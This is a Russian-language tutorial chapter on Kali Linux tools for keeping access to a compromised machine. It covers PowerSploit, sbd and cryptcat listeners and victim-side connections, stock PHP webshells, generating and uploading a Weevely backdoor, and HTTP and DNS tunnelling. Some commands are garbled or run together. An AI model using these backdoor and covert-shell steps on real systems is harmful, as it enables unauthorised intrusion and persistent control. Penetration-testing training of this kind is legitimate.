Kali Linux — поддержание доступа


Оглавление

    Показать оглавление

В этой главе мы увидим инструменты, которые Kali использует для поддержания соединения и доступа к взломанной машине, даже когда она подключается и снова отключается.

PowerSploit

Это инструмент для компьютеров под управлением Windows. На машине жертвы установлен PowerShell. Этот инструмент помогает хакеру подключиться к компьютеру жертвы через PowerShell.

Чтобы открыть его, откройте терминал слева и введите следующую команду, чтобы войти в папку powerploit:

cd /usr/share/powersploit/ 

Если вы наберете «ls», вы увидите список всех инструментов powerploit, которые вы можете загрузить и установить на компьютер жертвы после получения доступа. Название большинства из них самоочевидно в соответствии с их именами.

Самый простой способ загрузить этот инструмент на компьютер жертвы — создать веб-сервер, который инструменты Powerploit позволяют легко создать с помощью следующей команды:

python -m SimpleHTTPServer 

После этого, если вы наберете: http://:8000/, результат будет следующим.

Сбд

sbd — это инструмент, похожий на Netcat. Он портативен и может использоваться на компьютерах Linux и Microsoft. sbd поддерживает шифрование AES-CBC-128 + HMAC-SHA1> По сути, он помогает в любое время подключиться к машине жертвы через определенный порт и удаленно отправлять команды.

Чтобы открыть его, перейдите к терминалу и введите “sbd -l -p port”, чтобы сервер мог принимать соединения.

В этом случае давайте разместим порт 44, который будет прослушивать сервер.

На сайте жертвы введите «sbd IPofserver port». Будет установлено соединение, по которому мы сможем отправлять удаленные команды.

В данном случае это «localhost», поскольку мы проводили тест на одной и той же машине.

Наконец, на сервере вы увидите, что произошло соединение, как показано на следующем снимке экрана.

Веб-шеллы

Веб-шеллы можно использовать для сохранения доступа или взлома веб-сайта. Но большинство из них обнаруживаются антивирусами. PHP-оболочка C99 очень известна среди антивирусов. Любой обычный антивирус легко обнаружит его как вредоносное ПО.

Как правило, их основная функция — отправка системных команд через веб-интерфейсы.

Чтобы открыть его, введите «cd /usr/share/webshells/» в терминале.

Как видите, они разделены на классы в зависимости от языка программирования: asp, aspx, cfm, jsp, perl,php.

Если вы войдете в папку PHP, вы увидите все веб-оболочки для веб-страниц PHP.

Чтобы загрузить оболочку на веб-сервер, например simple-backdoor.php, откройте веб-страницу и URL-адрес веб-оболочки.

В конце напишите команду cmd. У вас будет вся информация, показанная на следующем снимке экрана.

Уивли

Weevely — это веб-оболочка PHP, имитирующая соединение типа telnet. Это инструмент для последующей эксплуатации веб-приложений, который можно использовать в качестве скрытого бэкдора или веб-оболочки для управления законными веб-аккаунтами, даже бесплатно размещенными.

Чтобы открыть его, перейдите к терминалу и введите «weevely», где вы увидите его использование.

Чтобы сгенерировать оболочку, введите "weevelygeneratepasswordpathoffile". Как видно на следующем снимке экрана, он создается в папке «Рабочий стол», и файл необходимо загрузить на веб-сервер для получения доступа.

После загрузки веб-оболочки, как показано на следующем снимке экрана, мы можем подключиться с помощью cmd к серверу с помощью команды "weevely URL-пароль", где вы увидите, что сеанс начался.

http-туннель

http-tunnel создает двунаправленный виртуальный поток данных, туннелируемый в HTTP-запросах. При желании запросы могут быть отправлены через HTTP-прокси. Это может быть полезно для пользователей, находящихся за ограничительными брандмауэрами. Если доступ к WWW разрешен через HTTP-прокси, можно использовать http-туннель и telnet или PPP для подключения к компьютеру за пределами брандмауэра.

Сначала нам нужно создать туннельный сервер с помощью следующей команды:

httptunnel_server -h 

Затем на клиентском сайте введите «httptunnel_client -h», и оба начнут принимать соединения.

dns2tcp

Это снова инструмент туннелирования, который помогает передавать TCP-трафик через DNS-трафик, что означает порт UDP 53.

Чтобы запустить его, введите “dns2tcpd”. Использование объясняется, когда вы открываете скрипт.

На сайте сервера введите эту команду, чтобы настроить файл.

#cat >>.dns2tcpdrc
<&l;END listen = 0.0.0.0 
port = 53 user=nobody 
chroot = /root/dns2tcp 
pid_file = /var/run/dns2tcp.pid 
domain = your domain key = secretkey 
resources = ssh:127.0.0.1:22 
END 
#dns2tcpd -f .dns2tcpdrc

На сайте клиента введите эту команду.

# cat >>.dns2tcprc 
<<END domain = your domain 
resource = ssh 
local_port = 7891 
key = secretkey 
END
# dns2tcpc -f .dns2tcprc 
# ssh root@localhost -p 7891 -D 7076 

Туннелирование начнется с этой команды.

крипткот

Это еще один инструмент, подобный Netcat, который позволяет устанавливать TCP и UDP-соединения с компьютером жертвы в зашифрованном виде.

Чтобы запустить сервер для прослушивания соединения, введите следующую команду:

cryptcat -l -p port -n 

Где,

  • -l означает прослушивание соединения.

  • -p означает параметр номера порта.

  • -n означает отсутствие разрешения имени.

На клиентском сайте команда подключения: “cryptcat IPofServer PortofServer”